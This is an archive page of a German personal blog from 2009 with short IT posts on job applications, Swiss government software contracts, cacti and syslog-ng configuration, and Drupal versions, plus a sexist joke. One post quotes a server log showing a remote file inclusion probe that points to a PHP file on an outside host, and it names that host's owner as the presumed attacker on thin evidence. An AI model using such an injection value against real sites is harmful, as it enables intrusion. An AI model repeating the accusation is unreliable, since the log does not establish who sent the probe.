Archiv ‘IT’

Dienstag, 2. Juni 2009

Wie man sich bei Web-Buden anständig bewirbt

Was ich in einem früheren Artikel bereits auf meine Art ausgedrückt habe, schildert David von 37Signals auf Englisch und aus aktuellem Anlass (Suche nach einem „Junior Support Programmer“):

This advice is probably exactly the opposite of what you’ll if you’re aiming to get into a big shop with a formal HR department. In that scenario, it’s often last man standing in the numbers game and checklist requirements. Personality doesn’t matter to make it through the first cut.

But when you’re looking to get hired by managers who actually have to work with you, personality is almost all that matters to get to the interview. So beef up your cover letter and let your personality shine […]

Quelle: Forget the resume, kill on the cover letter – (37signals)

Mit ein Grund, wieso ich die ersehnte Anstellung bei Liip gekriegt habe, war genau ein solcher nicht standardkonformer Begleitbrief zum Bewerbungsschreiben – das wurde mir von einem der neuen Chefs nach einige Arbeitswochen explizit so mit auf den Weg gegeben. Inwiefern darin meine tatsächliche „Personality“ durchschien, könnte das Liip-Management mittlerweile sicherlich sehr gut beurteilen … Auf jeden Fall hatte der Brief die Aufmerksamkeit der Rekrutierenden geweckt.

Tags: , ,
Labels: Arbeit, IT, Schweiz, Web

1 Kommentar | neuen Kommentar verfassen

Dienstag, 26. Mai 2009

Unser vetterliwirtschaftliche Bundesverwaltung schafft es auf reddit!

Red Hat Sues Switzerland Over Microsoft Monopoly – Linux vendor Red Hat, and 17 other vendors, have protested a Swiss government contract given to Microsoft without any public bidding

Quelle: Red Hat Sues Switzerland Over Microsoft Monopoly – Linux vendor Red Hat, and 17 other vendors, have protested a Swiss government contract given to Microsoft without any public bidding : technology

Ein grosses Bravo und Dankeschön an Red Hat, um unser Seldwyla in aller Welt bekannt zu machen. Ein weiteres Beispiel dafür, dass unsere Bundesverwaltung von Gehilfen unzähliger Microsoft-, Oracle- und SAP-Beratern durchsetzt ist.

Tags: , , , ,
Labels: IT, Linux

Keine Kommentare | neuen Kommentar verfassen

Sonntag, 3. Mai 2009

cacti-Verzeichnis zügeln

In den letzten Tagen habe ich die Verzeichnisstruktur auf meinem lokalen Web-Server angepasst. Unter anderem war von dieser Säuberungsaktion auch meine cacti-Installation betroffen.

Nachdem ich mich einige Stunden über nicht aktualisierte Graphen geärgert hatte, fand ich zu später Stunde dann endlich die Lösung des Problems:

UPDATE poller_item SET rrd_path = REPLACE(rrd_path,'/var/www/cacti/','/var/www/system/cacti/')
UPDATE poller_item SET arg1 = REPLACE(arg1,'/var/www/cacti/','/var/www/system/cacti/')

Offensichtlich ist die Software nicht derart intelligent programmiert, dass Verzeichniswechsel reibungslos über die Bühne gehen. Wieso Script-Pfade absolut und nicht wie beispielsweise die RRAs relativ in der Datenbank abgelegt werden, ist mir ein Rätsel.

Schriften

Als nützlicher Nebeneffekt konnte ich in diesem Anlauf in der Administrationsoberfläche auch endlich anständige Schriften definieren – vorher wurden Graphen in einer wüsten Serifenschrift ausgegeben. In Debian ist die wohl beste Schrift für RRD-Graphen die DejaVu Sans, welche unter folgendem Pfad liegt:

/usr/share/fonts/truetype/ttf-dejavu/DejaVuSans.ttf

Tags:
Labels: IT, Linux, Web

Keine Kommentare | neuen Kommentar verfassen

Sonntag, 3. Mai 2009

Jetzt kommt auch noch die SAP-Abwrackprämie

Gemäss einem Inserat in der heutigen SonntagsZeitung übernimmt ein findiges Unternehmen

Speziell in wirtschaftlich schwierigen Zeiten ist ein stabiles, homogenes und zukunftsorientiertes ERP-System zu erschwinglichem Preis unverzichtbar. Denn nur dieses sichert Ihnen komplett durchgängige, effiziente und transparente Geschäftsprozesse.

Quelle: .: resource-Abwrackaktion: 50’000 für Ihr altes ERP-System :.

Abgesehen davon, dass das Inserat wohl vom Sohn des CEOs „designt“ wurde (ich zähle vier Schriftschnitte und ebensoviele Schriftfarben), weiss ich nicht, ob obige Aussage wirklich so wunderbar auf SAP zutrifft? Der Kostenerlass von 50’000CHF kann aus dieser Sicht eher als vorgezogenes Schmerzensgeld gezählt werden …

Tags: ,
Labels: IT, Medien, Schweiz

Keine Kommentare | neuen Kommentar verfassen

Montag, 27. April 2009

Welche Drupal-Version läuft auf meinem Server?

If CHANGELOG.txt is missing, you can also check in system.module for a line at the top like:

define('VERSION', '5.5');

If this is present, it will tell you which version you are running. If not, you have a version earlier than 4.7.2.

Quelle: Drupal version numbering | drupal.org

Tags: ,
Labels: IT, Web

Keine Kommentare | neuen Kommentar verfassen

Montag, 6. April 2009

Abstruse Verwendung von Microsoft Excel

Bisher habe ich alle Termine in einen selbstgeschriebenen Programm (Excel/VisualBasic) verwaltet.

Quelle: Thunderbird Mail DE • Thema anzeigen – Termine aus Excel importieren

Wieder einen Eintrag mehr in meiner Liste der „schlimmsten Excel-Vergewaltigungen“. Oh Microsoft, mit VisualBasic hast du unbedarften Excel-Benutzern eine Massenvernichtungswaffe in die Hände gedrückt …

Tags:
Labels: Funny, IT

Keine Kommentare | neuen Kommentar verfassen

Montag, 6. April 2009

syslog von Ballast befreien

Die /var/log/syslog füllt sich unter Debian Linux sehr schnell mit viel nichtssagendem Ballast, weshalb ich mich heute dazu entschied, mal ein wenig aufzuräumen. Die Meldungen von cron (läuft bei mir jede Minute mit irgendwelchen Befehlen), dhcpd (im Netzwerk gibt es ein Gerät, dass jede Sekunde einen DHCP-Request sendet) sowie snmpd (cacti frägt den Systemzustand in jeder Minute ab) sollten neu aus der /var/log/syslog in eigene Log-Dateien ausgelagert werden.

Folgende Anpassungen an /etc/syslog-ng/syslog-ng.conf taten den Trick.

Als erstes legt man neue Destinationen fest:

destination df_cron { file("/var/log/cron.log"); };
destination df_dhcpd { file("/var/log/dhcpd.log"); };
destination df_snmpd { file("/var/log/snmpd.log"); };

Anschliessend legt man vier neue Filter fest:

filter f_cron { facility(cron); };
filter f_dhcpd { program(dhcpd); };
filter f_snmpd { program(snmpd); };
filter f_noise { not filter(f_snmpd) and not filter(f_dhcpd) and not filter(f_cron); };

Schlussendlich baut man diese als Log-Anweisungen zusammen:

log {
        source(s_all);
        filter(f_syslog);
        filter(f_noise);
        destination(df_syslog);
};

log {
        source(s_all);
        filter(f_cron);
        destination(df_cron);
};

log {
        source(s_all);
        filter(f_dhcpd);
        destination(df_dhcpd);
};

log {
        source(s_all);
        filter(f_snmpd);
        destination(df_snmpd);
};

Nachdem man die Konfigurationsdatei gespeichert hat, startet man syslog-ng neu und erfreut sich über die Ruhe, die nun einkehrt:

# /etc/init.d/syslog-ng restart
$ tail -f /var/log/syslog

Nachtrag

Natürlich wollte ich mir noch ein Bild machen, wie die Situation vor diesen neuen Umleitungen aussah. Erschreckend:

# cat syslog | cut -d " " -f 6 | sort | cut -d "[" -f 1 | sort | uniq -c | sort -r -n
   2534 dhcpd:
   2215 /USR/SBIN/CRON
   1688 snmpd
    392 kernel:
     98 mt-daapd
     55 syslog-ng
     40 postfix/qmgr
     36 avahi-daemon
     31 smartd
     26 ovpn-server
     23 named
     21 postfix/smtp
     19 postfix/cleanup
     18 postfix/pickup
      9 mysqld
      8 apcupsd
      6 ntpdate
      6 /etc/mysql/debian-start
      4 /usr/sbin/cron
      4 postfix/tlsmgr
      3 arpwatch:
      2 postfix/master
      2 mysqld_safe
      1 shutdown
      1 postfix/local
      1 mdadm
      1 init:

Mein Gefühl hat sich bestätigt: Ich habe die richtigen „Übeltäter“ in eigene Dateien ausgelagert.

Tags:
Labels: IT, Linux

Keine Kommentare | neuen Kommentar verfassen

Sonntag, 5. April 2009

Hard- und Software für Männer erklärt

Was heisst Software (SW) und Hardware (HW)?

Nehmen wir ein anschauliches Beispiel, die Bundeshaustelefonistin Pia beim Betreten des Marzili. Alles was wir von ihr sehen und anfassen können, aber auch ihr Magen, Herz usw. ist HW. Die Steuerung der Muskeln, die Pia beim Gehen benötigt, das Erkennen ihrer Umgebung und das Kommando zum Zuwinken ist SW. Es wird durch programmierte Abläufe von Pias Hirn aus gesteuert.

Deshalb sind auch viele weibliche Reaktionen (durch unerforschte SW Abläufe ausgelöst) für den oft nur die HW von Pia Erkennenden unerklärlich.

Quelle: Schweizerischer Weg zur digitalen Kommunikation

Tags: , , ,
Labels: Bern, Funny, IT

Keine Kommentare | neuen Kommentar verfassen

Donnerstag, 2. April 2009

Übt sich Hajo Bakker als Script-Kiddie?

In meinen Server-Logs fand ich heute folgendes:

[01-Apr-2009 22:25:02] Unexpected array Array
(
    [DOCUMENT_ROOT] => http://www.hajobakker.com/portfolio/id1v4.txt??
)
 given in function page__get_query_string

Die Text-Datei auf seinem Server beinhaltete folgende PHP-Anweisungen:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

Wieso macht man sowas von seinem eigenen Server aus (notabene mit einem Domainnamen, der den Vor- und Nachnamen des „Hackers“ enthält), wenn man angeblich seit 1991 in der IT arbeitet?!

Since 1991 I’ve held a variety of ICT related positions

Quelle: HajoBakker.com small-boat photography, motorcycle technique and more.

Tags: , ,
Labels: IT, Web

1 Kommentar | neuen Kommentar verfassen

Mittwoch, 1. April 2009

parlament.ch läuft mit Microsoft-Müll

die flex-applikation mit diversen flash-basierten komponenten liess sich problemlos in die site parlament.ch integrieren. in diesem fall handelte es sich um eine sharepoint-basierte website,

Quelle: nothing blog from outer space : Neue Sitzordnung im National- und Ständerat

Es wurde ja bereits seit längerem von den Dächern gezwitschert, dass dieser Server unter handgefrickelter, äusserst performanter Software aus Redmond lief. Eh ja, logisch! Schliesslich mussten dutzende zwischengeschaltete Consultants ihre 200 Franken pro Stunde absahnen …

Ansonsten fände ich den „Pultlinachbar“-Browser von nothing durchaus angebracht – leider wird aber sowohl unter Nationalrat wie auch unter Ständerat nur das Get Flash-Icon angezeigt.

Mega-Fail! (Mac OS X 10.4.11, Safari 3.2, Shockwave Flash 9.0 r124)

Nachtrag: Mich stört übrigens das auf den Screenshots ersichtliche Checkbox-Label „Alle/Keine Fraktion/en“. Aus Usability-Sicht sollte hätte dieser Knopf (meiner Meinung nach) auf zwei Radio-Buttons aufgeteilt werden müssen: „Alle Fraktionen“ und „Keine Fraktionen“ …

Tags: , ,
Labels: IT, Schweiz

1 Kommentar | neuen Kommentar verfassen